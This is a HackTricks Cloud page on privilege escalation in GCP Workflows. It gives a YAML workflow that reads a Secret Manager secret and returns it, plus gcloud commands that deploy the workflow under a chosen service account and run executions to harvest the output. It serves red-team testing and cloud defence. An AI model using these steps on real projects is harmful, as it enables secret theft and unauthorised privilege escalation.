GCP - Workflows Privesc

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

• If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!

• Get the official PEASS & HackTricks swag

• Discover The PEASS Family, our collection of exclusive NFTs

• Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.

• Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Workflows

Basic Information:

pageGCP - Workflows Enum

Abuse SA permissions in steps

Afaik it's not possible to get a shell with access to the metadata endpoint containing the SA credentials of the SA attacked to a Workflow. However, it's possible to abuse the permissions of the SA by adding the actions to perform inside the Workflow.

It's possible to find the documentation of the connectors. For example, this is the page of the Secretmanager connector. In the side bar it's possible to find several other connectors.

And here you can find an example of a connector that prints a secret:

main:
    params: [input]
    steps:
    - access_string_secret:
        call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
        args:
            secret_id: secret_name
            version: 1
            project_id: project-id-id
        result: str_secret
    - returnOutput:
            return: '${str_secret}'

Update from the CLI:

gcloud workflows deploy workflow-name \
    --service-account=email@SA \
    --source=/path/to/config.yaml

If you don't have web access it's possible to trigger and see the execution of a Workflow with:

# Run execution with output
gcloud workflows run workflow-1

# Run execution without output
gcloud workflows execute <workflow-name>

# List executions
gcloud workflows executions list workflow-1

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

You can also check the output of previous executions to look for sensitive information

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

• If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!

• Get the official PEASS & HackTricks swag

• Discover The PEASS Family, our collection of exclusive NFTs

• Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.

• Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.